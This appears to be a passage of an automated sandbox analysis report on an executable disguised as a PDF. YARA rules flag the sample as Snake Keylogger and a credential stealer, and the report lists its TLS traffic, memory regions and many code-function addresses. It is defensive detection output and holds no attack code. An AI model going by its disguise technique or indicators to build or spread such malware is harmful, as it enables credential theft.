Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49726 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: rDEKONT-1_15_2025__75kb__pdf.exe

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_02CC4224	0_2_02CC4224
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_02CC7D98	0_2_02CC7D98
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CF400	0_2_060CF400
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060C80B8	0_2_060C80B8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CFB58	0_2_060CFB58
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CE8C1	0_2_060CE8C1
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060C85B3	0_2_060C85B3
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060C12F8	0_2_060C12F8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CF3AA	0_2_060CF3AA
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CF3CF	0_2_060CF3CF
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_060CF3E6	0_2_060CF3E6
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08275B30	0_2_08275B30
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274088	0_2_08274088
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082744C8	0_2_082744C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082705B0	0_2_082705B0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08273808	0_2_08273808
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08273818	0_2_08273818
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082769B8	0_2_082769B8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082769C8	0_2_082769C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274A68	0_2_08274A68
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274A58	0_2_08274A58
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08273A81	0_2_08273A81
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08273A90	0_2_08273A90
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08275B23	0_2_08275B23
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827DBA8	0_2_0827DBA8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827DB98	0_2_0827DB98
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274EAB	0_2_08274EAB
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274EB0	0_2_08274EB0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08272F68	0_2_08272F68
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08272F59	0_2_08272F59
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827DFE0	0_2_0827DFE0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08270006	0_2_08270006
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827407B	0_2_0827407B
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08270040	0_2_08270040
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082723A8	0_2_082723A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082723B8	0_2_082723B8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082763E0	0_2_082763E0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082763D1	0_2_082763D1
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827E418	0_2_0827E418
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082744B8	0_2_082744B8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082705A0	0_2_082705A0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082735E8	0_2_082735E8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_082735F8	0_2_082735F8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827A6E2	0_2_0827A6E2
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274703	0_2_08274703
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_08274710	0_2_08274710
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 0_2_0827D750	0_2_0827D750
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147C147	3_2_0147C147
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_01475370	3_2_01475370
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147D27F	3_2_0147D27F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147C473	3_2_0147C473
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147C738	3_2_0147C738
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147E988	3_2_0147E988
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_014769AF	3_2_014769AF
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147CA0F	3_2_0147CA0F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147CCDF	3_2_0147CCDF
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_01476FC8	3_2_01476FC8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147CFA9	3_2_0147CFA9
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147F630	3_2_0147F630
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_014729EC	3_2_014729EC
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147E987	3_2_0147E987
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_0147FA8B	3_2_0147FA8B
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_01473AA1	3_2_01473AA1
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_01473E09	3_2_01473E09
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1A468	3_2_06D1A468
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1AB50	3_2_06D1AB50
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D10B30	3_2_06D10B30
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D19D10	3_2_06D19D10
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1F868	3_2_06D1F868
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1E6F8	3_2_06D1E6F8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1E708	3_2_06D1E708
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1A463	3_2_06D1A463
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D18258	3_2_06D18258
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D18268	3_2_06D18268
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D10040	3_2_06D10040
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1003F	3_2_06D1003F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1E178	3_2_06D1E178
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1E168	3_2_06D1E168
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1EFB8	3_2_06D1EFB8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1EFA9	3_2_06D1EFA9
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1EB60	3_2_06D1EB60
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1EB62	3_2_06D1EB62
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D10B27	3_2_06D10B27
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1D470	3_2_06D1D470
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1F410	3_2_06D1F410
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1F412	3_2_06D1F412
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1DD11	3_2_06D1DD11
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D19D00	3_2_06D19D00
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1DD20	3_2_06D1DD20
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1D8C8	3_2_06D1D8C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1D8BD	3_2_06D1D8BD
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06D1F867	3_2_06D1F867
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBD620	3_2_06DBD620
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBDCC0	3_2_06DBDCC0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5698	3_2_06DB5698
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3698	3_2_06DB3698
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7688	3_2_06DB7688
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5688	3_2_06DB5688
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB36A8	3_2_06DB36A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBE650	3_2_06DBE650
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBE641	3_2_06DBE641
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9640	3_2_06DB9640
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7678	3_2_06DB7678
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBB61F	3_2_06DBB61F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB0E10	3_2_06DB0E10
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBD60F	3_2_06DBD60F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBB630	3_2_06DBB630
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9630	3_2_06DB9630
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB0E20	3_2_06DB0E20
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3FC8	3_2_06DB3FC8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBEFCF	3_2_06DBEFCF
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBEFE0	3_2_06DBEFE0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7F99	3_2_06DB7F99
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5FB8	3_2_06DB5FB8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3FB8	3_2_06DB3FB8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7FA8	3_2_06DB7FA8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5FA8	3_2_06DB5FA8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBBF50	3_2_06DBBF50
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9F50	3_2_06DB9F50
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBBF41	3_2_06DBBF41
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9F60	3_2_06DB9F60
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBCCF0	3_2_06DBCCF0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBF498	3_2_06DBF498
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBDCBD	3_2_06DBDCBD
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBF4A8	3_2_06DBF4A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB4458	3_2_06DB4458
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB6448	3_2_06DB6448
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB4447	3_2_06DB4447
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB8438	3_2_06DB8438
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB6437	3_2_06DB6437
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB8427	3_2_06DB8427
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB2D88	3_2_06DB2D88
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB6D59	3_2_06DB6D59
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB8D58	3_2_06DB8D58
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB8D49	3_2_06DB8D49
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB4D78	3_2_06DB4D78
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB2D78	3_2_06DB2D78
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB4D69	3_2_06DB4D69
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB6D68	3_2_06DB6D68
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBAD10	3_2_06DBAD10
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBCD00	3_2_06DBCD00
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBAD00	3_2_06DBAD00
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9AD0	3_2_06DB9AD0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBBAC0	3_2_06DBBAC0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB9AC0	3_2_06DB9AC0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBBAB1	3_2_06DBBAB1
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3218	3_2_06DB3218
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5208	3_2_06DB5208
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3207	3_2_06DB3207
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBA3DF	3_2_06DBA3DF
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBC3D0	3_2_06DBC3D0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBA3F0	3_2_06DBA3F0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBC3E0	3_2_06DBC3E0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB2397	3_2_06DB2397
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB23A8	3_2_06DB23A8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7B18	3_2_06DB7B18
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBEB18	3_2_06DBEB18
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5B17	3_2_06DB5B17
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBEB0B	3_2_06DBEB0B
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB7B08	3_2_06DB7B08
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3B38	3_2_06DB3B38
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB5B28	3_2_06DB5B28
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB3B27	3_2_06DB3B27
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB68D8	3_2_06DB68D8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB48D8	3_2_06DB48D8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB88C8	3_2_06DB88C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB68C8	3_2_06DB68C8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB48E8	3_2_06DB48E8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBA880	3_2_06DBA880
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB88B8	3_2_06DB88B8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB0040	3_2_06DB0040
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBA873	3_2_06DBA873
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBC870	3_2_06DBC870
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBC861	3_2_06DBC861
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB0014	3_2_06DB0014
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB0007	3_2_06DB0007
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB91D8	3_2_06DB91D8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB71F8	3_2_06DB71F8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB51F7	3_2_06DB51F7
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB91E8	3_2_06DB91E8
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DB71E7	3_2_06DB71E7
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBD190	3_2_06DBD190
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBB190	3_2_06DBB190
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBE188	3_2_06DBE188
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBD180	3_2_06DBD180
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBB1A0	3_2_06DBB1A0
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBF95F	3_2_06DBF95F
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBF970	3_2_06DBF970
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Code function: 3_2_06DBE177	3_2_06DBE177

Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000000.2031577480.0000000000AD2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamekAyu.exe< vs rDEKONT-1_15_2025__75kb__pdf.exe
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2045691225.00000000075C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs rDEKONT-1_15_2025__75kb__pdf.exe
